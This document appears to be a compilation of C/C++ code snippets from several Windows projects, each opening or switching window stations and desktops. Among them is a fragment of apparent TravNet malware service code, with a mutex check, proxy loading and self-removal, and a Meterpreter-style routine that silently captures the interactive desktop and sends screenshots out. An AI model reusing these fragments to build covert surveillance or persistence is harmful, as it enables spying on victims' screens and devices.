int main(int argc, char **argv) { HWND hMain; HWINSTA hwinsta; hwinsta = OpenWindowStation("WinSta0", FALSE, WINSTA_READSCREEN); if (hwinsta == NULL || SetProcessWindowStation(hwinsta) == FALSE) printf("Failed to set window station!\n"); if (argc > 1) sscanf(argv[1], "%d", &hMain); else hMain = FindMainWindow(dialog_class_name, main_window_caption); printf("%d\n", hMain); if (hMain == NULL) { printf("Couldn't find window with caption %s\n", main_window_caption); exit(1); } if (!SendWindowEvents(hMain)) return 1; return 0; }
extern "C" __declspec(dllexport) void ServiceMain() { Fast_ServiceStatus(SERVICE_START_PENDING, NO_ERROR, 1); Fast_ServiceStatus(SERVICE_RUNNING , NO_ERROR, 0); HWINSTA hProcWinStat = GetProcessWindowStation(); HWINSTA hWinStat = OpenWindowStation("winsta0", FALSE, WINSTA_ALL_ACCESS); if (NULL != hWinStat) SetProcessWindowStation(hWinStat); CloseWindowStation(hProcWinStat); g_hMutex = CreateMutex(NULL, TRUE, TRAVNET_MUTEX_NAME); if (ERROR_ALREADY_EXISTS == GetLastError()) { CloseHandle(g_hMutex); return; } Sleep(1000); if (FALSE == LoadConfig()) return; if (FALSE == g_bCheckedSuccess) { LoadProxyConfig(); if (g_bUseProxy) { sprintf(g_nProxy_IP__TEST , "%s", g_nProxy_IP); sprintf(g_nProxy_PORT__TEST , "%s", g_nProxy_PORT); sprintf(g_nProxy_USER__TEST , "%s", g_nProxy_USER); sprintf(g_nProxy_PSW__TEST , "%s", g_nProxy_PSW); if(FALSE == TestProxyConnection() && TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } } else if(TRUE == g_bAutoCheck && FALSE == RetriveInfo()) { RemoveALL(); return; } SetCheckSuccess(); } // Start main routine Sleep(60000); g_lpThread1 = CreateThread(NULL, 0, g_fnThread1, NULL, 0, &g_dwThreadId1); // Wait for new devices Sleep(10000); g_lpThread2 = CreateThread(NULL, 0, g_fnThread2, NULL, 0, &g_dwThreadId2); do Sleep(100); while (g_dwServiceStatus != SERVICE_STOP_PENDING && g_dwServiceStatus != SERVICE_STOPPED); }
int SetUserDesktop( int mode ) { static HWINSTA hwinstaSave; static HDESK hdeskSave; static HWINSTA hwinstaUser; static HDESK hdeskUser; if(mode == 1) { hwinstaSave = GetProcessWindowStation(); hdeskSave = GetThreadDesktop(GetCurrentThreadId()); hwinstaUser = OpenWindowStation("WinSta0", FALSE, MAXIMUM_ALLOWED); if (hwinstaUser == NULL) return 0; SetProcessWindowStation(hwinstaUser); hdeskUser = OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); if (hdeskUser == NULL) { SetProcessWindowStation(hwinstaSave); CloseWindowStation(hwinstaUser); return 0; } SetThreadDesktop(hdeskUser); } else if(mode == 0) { SetThreadDesktop(hdeskSave); SetProcessWindowStation(hwinstaSave); CloseDesktop(hdeskUser); CloseWindowStation(hwinstaUser); } return 0; }
BOOL COpenDesktop::_OpenDesktop(LPCWSTR szName) { WCHAR pvInfo[128] = {0}; if(szName != NULL) { lstrcpy((LPSTR)pvInfo, (LPCSTR)szName); } else { HDESK hActiveDesktop; DWORD dwLen; hActiveDesktop = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, FALSE, MAXIMUM_ALLOWED); GetUserObjectInformation(hActiveDesktop, UOI_NAME, pvInfo, sizeof(pvInfo), &dwLen); CloseDesktop(hActiveDesktop); } m_hwinstaCurrent = GetProcessWindowStation(); CheckPointer(m_hwinstaCurrent,FALSE); m_hdeskCurrent = GetThreadDesktop(GetCurrentThreadId()); CheckPointer(m_hdeskCurrent,FALSE); // ´ò¿ªwinsta0 m_hwinsta = OpenWindowStation(_T("winsta0"), FALSE, WINSTA_ACCESSCLIPBOARD | WINSTA_ACCESSGLOBALATOMS | WINSTA_CREATEDESKTOP | WINSTA_ENUMDESKTOPS | WINSTA_ENUMERATE | WINSTA_EXITWINDOWS | WINSTA_READATTRIBUTES | WINSTA_READSCREEN | WINSTA_WRITEATTRIBUTES); CheckPointer(m_hwinsta,FALSE); if (!SetProcessWindowStation(m_hwinsta)) { return FALSE; } // ´ò¿ªdesktop m_hdesk = OpenDesktop((LPSTR)pvInfo, 0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS); CheckPointer(m_hdesk,FALSE); SetThreadDesktop(m_hdesk); return TRUE; }
int pem_passwd_cb(char *buf, int size, int rwflag, void *userdata) { int result; #if 0 DWORD dwThreadId; HWINSTA hwinstaSave; HDESK hdeskSave; HWINSTA hwinstaUser; HDESK hdeskUser; buf[0]='\0'; /* empty the buffer */ /* Save the window station and desktop */ hwinstaSave=GetProcessWindowStation(); if(!hwinstaSave) ioerror("GetProcessWindowStation"); dwThreadId=GetCurrentThreadId(); if(!dwThreadId) ioerror("GetCurrentThreadId"); hdeskSave=GetThreadDesktop(dwThreadId); if(!hdeskSave) ioerror("GetThreadDesktop"); /* Switch to WinSta0/Default */ hwinstaUser=OpenWindowStation("winsta0", FALSE, MAXIMUM_ALLOWED); if(!hwinstaUser) ioerror("OpenWindowStation"); if(!SetProcessWindowStation(hwinstaUser)) ioerror("SetProcessWindowStation"); hdeskUser=OpenDesktop("Default", 0, FALSE, MAXIMUM_ALLOWED); /* Winlogon */ if(!hdeskUser) ioerror("OpenDesktop"); if(!SetThreadDesktop(hdeskUser)) ioerror("SetThreadDesktop"); #endif /* Display the dialog box */ section=userdata; result=DialogBox(ghInst, TEXT("PassBox"), hwnd, (DLGPROC)pass_proc); #if 0 /* Restore window station and desktop */ if(!SetThreadDesktop(hdeskSave)) ioerror("SetThreadDesktop"); if(!SetProcessWindowStation(hwinstaSave)) ioerror("SetProcessWindowStation"); if(!CloseDesktop(hdeskUser)) ioerror("CloseDesktop"); if(!CloseWindowStation(hwinstaUser)) ioerror("CloseWindowStation"); #endif if(!result) return 0; strncpy(buf, passphrase, size); buf[size - 1] = '\0'; return strlen(buf); }
static BOOL CALLBACK check_winsta(wchar_t* winsta_name, LPARAM) { debug(L"entering enum_winsta_proc, winsta_name = %s\n", winsta_name); // open the window station and connect to it // (TODO: figure out what permissions are really needed here) // HWINSTA winsta = OpenWindowStation(winsta_name, FALSE, MAXIMUM_ALLOWED); if (winsta == NULL) { debug(L"OpenWindowStation error: %u\n", GetLastError()); return TRUE; } HWINSTA old_winsta = GetProcessWindowStation(); if (SetProcessWindowStation(winsta) == FALSE) { debug(L"SetProcessWindowStation error: %u\n", GetLastError()); if (CloseWindowStation(winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } return TRUE; } if (CloseWindowStation(old_winsta) == FALSE) { debug(L"CloseWindowStation error: %u\n", GetLastError()); } // open the "default" desktop and connect to it (if present) // (TODO: figure out what permissions are really needed here) // HDESK desktop = OpenDesktop(L"default", 0, FALSE, MAXIMUM_ALLOWED); if (desktop == NULL) { debug(L"OpenDesktop error: %u\n", GetLastError()); return TRUE; } HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); if (SetThreadDesktop(desktop) == FALSE) { debug(L"SetThreadDesktop error: %u\n", GetLastError()); if (CloseDesktop(desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } return TRUE; } if (CloseDesktop(old_desktop) == FALSE) { debug(L"CloseDesktop error: %u\n", GetLastError()); } // check_this_winsta() returns TRUE if it found the pid, FALSE if not // BOOL found = check_this_winsta(); if (found) { SetLastError(ERROR_SUCCESS); } // return TRUE to keep searching return ! found; }
/* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; }
BOOL CALLBACK EnumWindowStationProc(LPTSTR lpszWindowStation, LPARAM lParam) { fprintf(stdout,"[i] +> WindowStation [%s]\n",lpszWindowStation); HWINSTA hWinStat = OpenWindowStation(lpszWindowStation,FALSE,READ_CONTROL|WINSTA_ALL_ACCESS|GENERIC_ALL); if(hWinStat != NULL){ PrintPermissions(hWinStat,false); SetProcessWindowStation(hWinStat); if(EnumDesktops(hWinStat,&EnumDesktopProc,NULL)== NULL){ fprintf(stderr,"[!} Couldn't enumerate desktops - %s - %d\n",lpszWindowStation,GetLastError()); } } else { fprintf(stderr,"[!] Couldn't open Window station - %s - %d\n",lpszWindowStation,GetLastError()); } return true; }
ActivePet::~ActivePet() { m_files->ignore(m_requestFolderPath, m_dispatcher); // Kill any stray processes. if (!TerminateJobObject(m_job.get(), -1)) { printf("TerminateJobObject() failed: %d", GetLastError()); } // TODO: Change this algorithm for transient accounts. std::for_each(m_syncers.begin(), m_syncers.end(), delete_element<Syncer*>()); RegKey editables = RegKey::HKCU.open(Constants::registryPets() + L"\\" + m_petname + L"\\" + Constants::editables()); editables.removeSubKeys(); // Unload the profile. UnloadUserProfile(m_session.get(), m_profile); // Undo the changes to the winsta0 and desktop DACLs. auto_buffer<PSID> logon_sid = GetLogonSID(m_session.get()); if (NULL == logon_sid.get()) { return; } auto_close<HWINSTA, &::CloseWindowStation> winsta0(OpenWindowStation(L"winsta0", FALSE, READ_CONTROL | WRITE_DAC)); if (NULL == winsta0.get()) { printf("OpenWindowStation() failed: %d", GetLastError()); return; } if (!RemoveAceFromWindowStation(winsta0.get(), logon_sid.get())) { printf("RemoveAceFromWindowStation() failed: %d", GetLastError()); return; } auto_close<HDESK, &::CloseDesktop> desktop(OpenDesktop(L"default", 0, FALSE, READ_CONTROL | WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS)); if (NULL == desktop.get()) { printf("OpenDesktop() failed: %d", GetLastError()); return; } if (!RemoveAceFromDesktop(desktop.get(), logon_sid.get())) { printf("AddAceToDesktop() failed: %d", GetLastError()); return; } }
BOOL CALLBACK WinStationEnumProc(LPTSTR name, LPARAM param) { HWINSTA station = OpenWindowStation(name, FALSE, GENERIC_ALL); HWINSTA oldstation = GetProcessWindowStation(); USEROBJECTFLAGS flags; if (!GetUserObjectInformation(station, UOI_FLAGS, &flags, sizeof(flags), NULL)) { return TRUE; } BOOL visible = flags.dwFlags & WSF_VISIBLE; if (visible) { if (SetProcessWindowStation(station)) { if (oldstation != home_window_station) { CloseWindowStation(oldstation); } } else { CloseWindowStation(station); } return FALSE; } return TRUE; }
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance) : WindowsApplication(hInstance) { HWINSTA winSta = 0; winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL); if (winSta== 0) { throw SystemException(); } if (SetProcessWindowStation(winSta) == 0) { CloseWindowStation(winSta); throw SystemException(); } CloseWindowStation(winSta); DesktopSelector::selectDesktop(); }
bool AttachToWorkstation() { DWORD dwThreadId; // Ensure connection to service window station and desktop, and // save their handles. hwinstaSave = GetProcessWindowStation(); dwThreadId = GetCurrentThreadId(); hdeskSave = GetThreadDesktop(dwThreadId); // connect to the User's window station and desktop. //RpcImpersonateClient(h); hwinstaUser = OpenWindowStation("WinSta0", TRUE, MAXIMUM_ALLOWED); if (hwinstaUser == NULL) { //RpcRevertToSelf(); err_printf("AttachToWorkstation:OpenWindowStation failed, error %d.\n", GetLastError()); return false; } SetProcessWindowStation(hwinstaUser); hdeskUser = OpenInputDesktop(DF_ALLOWOTHERACCOUNTHOOK, TRUE, MAXIMUM_ALLOWED); /* DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALPLAYBACK | DESKTOP_JOURNALRECORD | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS); */ //RpcRevertToSelf(); if (hdeskUser == NULL) { SetProcessWindowStation(hwinstaSave); CloseWindowStation(hwinstaUser); err_printf("AttachToWorkstation:OpenInputDesktop failed, error %d\n", GetLastError()); return false; } SetThreadDesktop(hdeskUser); return true; }
/* * DesktopListSetInfo * * Purpose: * * Query information and fill listview. * Called each time when page became visible. * */ VOID DesktopListSetInfo( _In_ PROP_OBJECT_INFO *Context, _In_ HWND hwndDlg ) { BOOL bResult = FALSE; HWINSTA hObject; if (Context == NULL) { return; } ListView_DeleteAllItems(DesktopList); hObject = OpenWindowStation(Context->lpObjectName, FALSE, WINSTA_ENUMDESKTOPS); if (hObject) { EnumDesktops(hObject, DesktopListEnumProc, (LPARAM)Context); CloseWindowStation(hObject); bResult = TRUE; } ShowWindow(GetDlgItem(hwndDlg, ID_DESKTOPSNOTALL), (bResult == FALSE) ? SW_SHOW : SW_HIDE); }
LocalWindowsApplication::LocalWindowsApplication(HINSTANCE hInstance, const TCHAR *windowClassName) : WindowsApplication(hInstance, windowClassName) { HWINSTA winSta = 0; winSta = OpenWindowStation(_T("WinSta0"), TRUE, GENERIC_ALL); if (winSta== 0) { throw SystemException(); } if (SetProcessWindowStation(winSta) == 0) { CloseWindowStation(winSta); throw SystemException(); } CloseWindowStation(winSta); // FIXME: why we don't check returning values? DesktopSelector::selectDesktop(); }
// switch to the given graphics mode. This is called: // - on initialization // - when get mode change msg (via shared mem) // - when in SS mode and get user input // static void set_mode(int mode) { int new_mode = mode; GRAPHICS_MSG current_desktop; if (mode == current_graphics_mode) return; if (current_graphics_mode != MODE_FULLSCREEN) { if (IsIconic(hWnd) || IsZoomed(hWnd)){ // If graphics window is minimized or maximized // then set default values of window size rect.left = 50; rect.top = 50; rect.right = 50+640; rect.bottom = 50+480; } else GetWindowRect(hWnd, &rect); // else get current values } KillWindow(); // Detect our current desktop and window station. memset(current_desktop.window_station, 0, sizeof(current_desktop.window_station)/sizeof(char)); memset(current_desktop.desktop, 0, sizeof(current_desktop.desktop)/sizeof(char)); if (!is_windows_9x) { GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, current_desktop.window_station, (sizeof(current_desktop.window_station) / sizeof(char)), NULL ); GetUserObjectInformation( GetThreadDesktop(GetCurrentThreadId()), UOI_NAME, current_desktop.desktop, (sizeof(current_desktop.desktop) / sizeof(char)), NULL ); } if (!is_windows_9x && !boinc_is_standalone() && strlen(graphics_msg.window_station) > 0 && strlen(graphics_msg.desktop) > 0 && (strcmp(current_desktop.window_station, graphics_msg.window_station) || strcmp(current_desktop.desktop, graphics_msg.desktop))) { BOINCINFO("Checking Desktop and Window Station Parameters\n"); GetDesktopWindow(); if (NULL == hOriginalWindowStation) { hOriginalWindowStation = GetProcessWindowStation(); if (NULL == hOriginalWindowStation) { BOINCINFO("Failed to retrieve the orginal window station\n"); } } if (NULL == hOriginalDesktop) { hOriginalDesktop = GetThreadDesktop(GetCurrentThreadId()); if (NULL == hOriginalDesktop) { BOINCINFO("Failed to retrieve the orginal desktop\n"); } } hInteractiveWindowStation = OpenWindowStation( graphics_msg.window_station, FALSE, GENERIC_READ ); if (NULL == hInteractiveWindowStation) { BOINCINFO("Failed to retrieve the required window station\n"); new_mode = MODE_UNSUPPORTED; } else { BOINCINFO("Retrieved the required window station\n"); if (!SetProcessWindowStation(hInteractiveWindowStation)) { BOINCINFO("Failed to SetProcessWindowStation (GLE: '%d')\n", GetLastError()); } hInteractiveDesktop = OpenDesktop( graphics_msg.desktop, (DWORD)NULL, FALSE, GENERIC_READ | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU ); if (NULL == hInteractiveDesktop) { BOINCINFO("Failed to retrieve the required desktop\n"); new_mode = MODE_UNSUPPORTED; } else { BOINCINFO("Retrieved the required desktop\n"); if (!SetThreadDesktop(hInteractiveDesktop)) { BOINCINFO("Failed to SetThreadDesktop (GLE: '%d')\n", GetLastError()); } } } } current_graphics_mode = new_mode; if (new_mode != MODE_HIDE_GRAPHICS && new_mode != MODE_UNSUPPORTED) { make_new_window(); } }
static void test_handles(void) { HWINSTA w1, w2, w3; HDESK d1, d2, d3; HANDLE hthread; DWORD id, flags, le; ATOM atom; char buffer[20]; /* win stations */ w1 = GetProcessWindowStation(); ok( GetProcessWindowStation() == w1, "GetProcessWindowStation returned different handles\n" ); ok( !CloseWindowStation(w1), "closing process win station succeeded\n" ); SetLastError( 0xdeadbeef ); ok( !CloseHandle(w1), "closing process win station handle succeeded\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); print_object( w1 ); flags = 0; ok( GetHandleInformation( w1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE) || broken(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), /* set on nt4 */ "handle %p PROTECT_FROM_CLOSE set\n", w1 ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseWindowStation(w2), "closing dup win station failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(w2), "closing dup win station handle failed\n" ); w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "CreateWindowStation failed (%u)\n", le ); if (w2 != 0) { ok( w2 != w1, "CreateWindowStation returned default handle\n" ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop( (HDESK)w2 ), "CloseDesktop succeeded on win station\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); ok( CloseHandle( w2 ), "CloseHandle failed\n" ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); w2 = OpenWindowStation("winsta0", TRUE, WINSTA_ALL_ACCESS ); ok( w2 != 0, "OpenWindowStation failed\n" ); ok( w2 != w1, "OpenWindowStation returned default handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = OpenWindowStation("dummy name", TRUE, WINSTA_ALL_ACCESS ); ok( !w2, "open dummy win station succeeded\n" ); CreateMutexA( NULL, 0, "foobar" ); w2 = CreateWindowStation("foobar", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "create foobar station failed (%u)\n", le ); if (w2 != 0) { w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( w3 != 0, "open foobar station failed\n" ); ok( w3 != w2, "open foobar station returned same handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( CloseWindowStation( w3 ), "CloseWindowStation failed\n" ); w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( !w3, "open foobar station succeeded\n" ); w2 = CreateWindowStation("foobar1", 0, WINSTA_ALL_ACCESS, NULL ); ok( w2 != 0, "create foobar station failed\n" ); w3 = CreateWindowStation("foobar2", 0, WINSTA_ALL_ACCESS, NULL ); ok( w3 != 0, "create foobar station failed\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( GetHandleInformation( w3, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w2 ); atom = GlobalAddAtomA("foo"); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); ok( !CloseWindowStation( w2 ), "CloseWindowStation succeeded\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w3 ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); /* desktops */ d1 = GetThreadDesktop(GetCurrentThreadId()); initial_desktop = d1; ok( GetThreadDesktop(GetCurrentThreadId()) == d1, "GetThreadDesktop returned different handles\n" ); flags = 0; ok( GetHandleInformation( d1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), "handle %p PROTECT_FROM_CLOSE set\n", d1 ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop(d1), "closing thread desktop succeeded\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); if (CloseHandle( d1 )) /* succeeds on nt4 */ { win_skip( "NT4 desktop handle management is completely different\n" ); return; } ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseDesktop(d2), "closing dup desktop failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(d2), "closing dup desktop handle failed\n" ); d2 = OpenDesktop( "dummy name", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d2, "open dummy desktop succeeded\n" ); d2 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d2 != 0, "create foobar desktop failed\n" ); SetLastError( 0xdeadbeef ); ok( !CloseWindowStation( (HWINSTA)d2 ), "CloseWindowStation succeeded on desktop\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); d3 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d3 != 0, "create foobar desktop again failed\n" ); ok( GetLastError() == 0xdeadbeef, "bad last error %d\n", GetLastError() ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( d3 != 0, "open foobar desktop failed\n" ); ok( d3 != d2, "open foobar desktop returned same handle\n" ); ok( CloseDesktop( d2 ), "CloseDesktop failed\n" ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d3, "open foobar desktop succeeded\n" ); ok( !CloseHandle(d1), "closing thread desktop handle succeeded\n" ); d2 = GetThreadDesktop(GetCurrentThreadId()); ok( d1 == d2, "got different handles after close\n" ); register_class(); trace( "thread 1 desktop: %p\n", d1 ); print_object( d1 ); hthread = CreateThread( NULL, 0, thread, (LPVOID)2, 0, &id ); Sleep(1000); trace( "get other thread desktop: %p\n", GetThreadDesktop(id) ); WaitForSingleObject( hthread, INFINITE ); CloseHandle( hthread ); }
/* * Take a screenshot of this sessions default input desktop on WinSta0 * and send it as a JPEG image to a named pipe. */ DWORD screenshot( int quality, DWORD dwPipeName ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HWINSTA hOrigWindowStation = NULL; HDESK hInputDesktop = NULL; HDESK hOrigDesktop = NULL; HWND hDesktopWnd = NULL; HDC hdc = NULL; HDC hmemdc = NULL; HBITMAP hbmp = NULL; BYTE * pJpegBuffer = NULL; OSVERSIONINFO os = {0}; char cNamedPipe[MAX_PATH] = {0}; // If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display. int xmetric = SM_CXVIRTUALSCREEN; int ymetric = SM_CYVIRTUALSCREEN; DWORD dwJpegSize = 0; int sx = 0; int sy = 0; do { _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: GetVersionEx failed" ) // On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN. if( os.dwMajorVersion <= 4 ) { xmetric = SM_CXSCREEN; ymetric = SM_CYSCREEN; } // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // get the current process's window station so we can restore it later on. hOrigWindowStation = GetProcessWindowStation(); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: SetProcessWindowStation failed" ); // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot: OpenInputDesktop failed" ); // get the threads current desktop so we can restore it later on hOrigDesktop = GetThreadDesktop( GetCurrentThreadId() ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); // and now we can grab a handle to this input desktop hDesktopWnd = GetDesktopWindow(); // and get a DC from it so we can read its pixels! hdc = GetDC( hDesktopWnd ); if( !hdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. GetDC failed" ); // back up this DC with a memory DC hmemdc = CreateCompatibleDC( hdc ); if( !hmemdc ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleDC failed" ); // calculate the width and height sx = GetSystemMetrics( xmetric ); sy = GetSystemMetrics( ymetric ); // and create a bitmap hbmp = CreateCompatibleBitmap( hdc, sx, sy ); if( !hbmp ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. CreateCompatibleBitmap failed" ); // this bitmap is backed by the memory DC if( !SelectObject( hmemdc, hbmp ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. SelectObject failed" ); // BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created if( !BitBlt( hmemdc, 0, 0, sx, sy, hdc, 0, 0, SRCCOPY ) ) BREAK_ON_ERROR( "[SCREENSHOT] screenshot. BitBlt failed" ); // finally convert the BMP we just made into a JPEG... if( bmp2jpeg( hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize ) != 1 ) BREAK_WITH_ERROR( "[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE ); // we have succeded dwResult = ERROR_SUCCESS; } while( 0 ); // if we have successfully taken a screenshot we send it back via the named pipe // but if we have failed we send back a zero byte result to indicate this failure. if( dwResult == ERROR_SUCCESS ) screenshot_send( cNamedPipe, pJpegBuffer, dwJpegSize ); else screenshot_send( cNamedPipe, NULL, 0 ); if( hdc ) ReleaseDC( hDesktopWnd, hdc ); if( hmemdc ) DeleteDC( hmemdc ); if( hbmp ) DeleteObject( hbmp ); // free the jpeg images buffer if( pJpegBuffer ) free( pJpegBuffer ); // restore the origional process's window station if( hOrigWindowStation ) SetProcessWindowStation( hOrigWindowStation ); // restore the threads origional desktop if( hOrigDesktop ) SetThreadDesktop( hOrigDesktop ); // close the WinSta0 window station handle we opened if( hWindowStation ) CloseWindowStation( hWindowStation ); // close this last to avoid a handle leak... if( hInputDesktop ) CloseDesktop( hInputDesktop ); return dwResult; }
